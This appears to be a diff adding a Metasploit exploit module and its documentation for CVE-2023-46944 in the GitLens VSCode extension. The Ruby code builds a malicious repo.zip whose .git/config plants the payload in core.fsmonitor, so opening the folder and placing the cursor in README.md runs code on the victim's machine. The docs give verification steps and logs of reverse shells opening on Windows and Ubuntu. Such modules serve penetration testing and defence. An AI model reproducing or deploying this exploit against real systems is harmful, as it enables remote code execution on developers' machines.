GitLens (VSCode Extension) exploit module (cve-2023-46944)

documentation/modules/exploit/multi/fileformat/gitlens_local_config_exec.md

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+## Vulnerable Application
+
+GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git
+commands. A repo may include its own .git folder including a malicious config file to
+execute arbitrary code.
+
+Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10
+
+### Install
+
+Download the extension [gitlens-13.6.0.vsix](https://github.com/gitkraken/vscode-gitlens/releases/download/v13.6.0/gitlens-13.6.0.vsix)
+
+1. In VSCode, go to extensions (left side, 4 blocks), click triple dots in top right corner, Auto Update Extensions -> None.
+1. In VSCode, go to extensions (left side, 4 blocks), click triple dots in top right corner, install from vsix.
+
+## Verification Steps
+
+1. Install the extension
+1. Start msfconsole
+1. Do: `use exploit/multi/fileformat/gitlens_local_config_exec`
+1. Do: `run`
+1. Unzip the repo
+1. Open the folder in Visual Studio Code
+1. When prompted, select "No, I don't trust the authors"
+1. Open the `README.md` file and put the cursor on the first line.
+1. You should get a shell.
+
+## Options
+
+### README
+
+The content of the `README.md` file. Defaults to `# Test`
+
+## Scenarios
+
+### VSCode 1.87.2 on Windows 10 Pro (22H2) with GitLens 13.6.0
+
+```
+[*] Processing gitlens.rb for ERB directives.
+resource (gitlens.rb)> use exploit/multi/fileformat/gitlens_local_config_exec
+[*] Using configured payload cmd/unix/reverse_bash
+resource (gitlens.rb)> set target 1
+target => 1
+resource (gitlens.rb)> set lhost 192.168.10.147
+lhost => 192.168.10.147
+msf6 exploit(multi/fileformat/gitlens_local_config_exec) > exploit
+
+[*] Started reverse TCP handler on 192.168.10.147:4444 
+[+] repo.zip stored at /root/.msf4/local/repo.zip
+[*] Waiting for shell
+```
+
+Unzip the repo, open the folder in Visual Studio Code. When prompted, select "No, I don't trust the authors". Open the `README.md` file and put the cursor on the first line.
+
+```
+[*] Sending stage (336 bytes) to 192.168.10.100
+[*] Command shell session 1 opened (192.168.10.147:4444 -> 192.168.10.100:62807) at 2024-03-19 17:46:46 +0000
+
+
+Shell Banner:
+Microsoft Windows [Version 10.0.19045.4170]
+-----
+
+
+C:\Users\h00die\Desktop\repo>whoami
+whoami
+h00die
+
+C:\Users\h00die\Desktop\repo>
+```
+### VSCode 1.87.2 on Windows 10 Pro (1809), utilizing remote connection to Ubuntu 22.04 with GitLens 13.6.0 installed
+
+```
+$ ./msfconsole -qr gitlens.rb 
+[*] Processing gitlens.rb for ERB directives.
+resource (gitlens.rb)> use exploit/multi/fileformat/gitlens_local_config_exec
+[*] Using configured payload cmd/unix/reverse_bash
+resource (gitlens.rb)> set lhost 192.168.10.147
+lhost => 192.168.10.147
+msf6 exploit(multi/fileformat/gitlens_local_config_exec) > exploit
+
+[*] Started reverse TCP handler on 192.168.10.147:4444 
+[+] repo.zip stored at /root/.msf4/local/repo.zip
+[*] Waiting for shell
+```
+
+Unzip the repo, open the folder in Visual Studio Code. When prompted, select "No, I don't trust the authors". Open the `README.md` file and put the cursor on the first line.
+
+```
+[*] Command shell session 1 opened (192.168.10.147:4444 -> 192.168.10.147:53600) at 2024-03-19 18:26:04 +0000
+
+[*] Command shell session 2 opened (192.168.10.147:4444 -> 192.168.10.147:53612) at 2024-03-19 18:26:06 +0000
+id
+uid=1000(notroot) gid=1000(notroot) groups=1000(notroot),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),119(docker)
+```

modules/exploits/multi/fileformat/gitlens_local_config_exec.rb

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+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::FILEFORMAT
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'GitLens Git Local Configuration Exec',
+        'Description' => %q{
+          GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git
+          commands. A repo may include its own .git folder including a malicious config file to
+          execute arbitrary code.
+
+          Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10
+        },
+        'License' => MSF_LICENSE,
+        'Author' => [
+          'h00die', # Metasploit module
+          'Paul Gerste', # Original advisory and PoC
+        ],
+        'References' => [
+          ['URL', 'https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/'],
+          ['URL', 'https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/'], # git hook
+          ['URL', 'https://github.com/gitkraken/vscode-gitlens/commit/ee2a0c42a92d33059a39fd15fbbd5dd3d5ab6440'], # patch
+          ['CVE', '2023-46944']
+        ],
+        'DefaultOptions' => {
+          'EXITFUNC' => 'thread',
+          'DisablePayloadHandler' => false,
+          'FILENAME' => 'repo.zip',
+          'WfsDelay' => 3_600 # 1hr
+        },
+        'Arch' => ARCH_CMD,
+        'Targets' => [
+          [
+            'Linux/Unix (In-Memory)',
+            {
+              'Platform' => [ 'unix', 'linux' ],
+              'Type' => :unix_cmd
+            },
+          ],
+          # There may be a size limit, but using fetch payloads works great
+          [
+            'PowerShell (In-Memory)',
+            {
+              'Platform' => 'win',
+              'Payload' => {
+                'BadChars' => '"&'
+              }
+            }
+          ],
+        ],
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # windows fetch payloads pops up a CMD window for a second, then goes away
+        },
+        'Privileged' => false,
+        'DisclosureDate' => '2023-11-14'
+      )
+    )
+
+    register_options([
+      OptString.new('README', [true, 'The contents of the readme markdown file', '# Test'])
+    ])
+  end
+
+  def readme
+    datastore['README'].to_s
+  end
+
+  def git_head
+    'ref: refs/heads/master'
+  end
+
+  def git_config
+    %([core]
+    repositoryformatversion = 0
+    filemode = true
+    bare = false
+    logallrefupdates = true
+    fsmonitor = "#{payload.encoded} #") # without the trailing # windows tacks on <space><int, 0><space><a long number>. so this avoids corrupting the payload
+  end
+
+  def exploit
+    # Create malicious zip archive containing our git repo
+    files =
+      [
+        { data: readme, fname: 'README.md' },
+        { data: git_config, fname: '.git/config' },
+        { data: git_head, fname: '.git/HEAD' },
+        { data: '', fname: '.git/objects/info/' },
+        { data: '', fname: '.git/objects/pack/' },
+        { data: '', fname: '.git/refs/heads/' },
+        { data: '', fname: '.git/refs/tags/' },
+      ]
+
+    zip = Msf::Util::EXE.to_zip(files)
+
+    file_create(zip)
+    print_status('Waiting for shell')
+  end
+end